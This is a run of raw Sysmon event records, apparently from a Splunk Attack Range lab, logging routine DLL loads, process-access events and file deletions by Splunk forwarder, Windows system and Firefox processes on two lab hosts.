CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000052066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.433{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.248{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2630AF86238DFFF615A855F07C87BB54,SHA256=43BF9E58E3E52D83780BB926C2BE6316F283E0DCB5CA6EBEEF3E3B1945AC3F3E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.248{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=114FA45926F546C12635F8E7653D937F,SHA256=3324DEE3BFCF601C5253F484FC3B3265DA7152FEDD0A66EBD18DE7ED653F8B2A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000052057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.164{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.164{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.032{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.016{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.016{7BD73061-7301-613B-690B-00000000F001}3380C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000052178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.757{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000052177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.756{7BD73061-7303-613B-6B0B-00000000F001}59642596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.756{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.755{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000052174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.734{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9015E868C61AA324694538E22EE550CC,SHA256=8FD6D5E1E03161942D7B8114752BD6C44B60669FF4DA0F2274624047FD388B5F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016694Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:19.060{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2349A57A4C066731D34AE02581B8A5CD,SHA256=368B8E203CDFF433DFA204EA0F26006C3476CE48114AFAFC4273F0D6F14DDD38,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.709{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1EACA15D193D578522939A78F333E7B2,SHA256=72A43B1C02DAD029F78EEB8C0F86415406735C25CE2DD03EA5886C696824F16D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.440{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2630AF86238DFFF615A855F07C87BB54,SHA256=43BF9E58E3E52D83780BB926C2BE6316F283E0DCB5CA6EBEEF3E3B1945AC3F3E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.356{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.340{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.340{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.340{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.340{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft 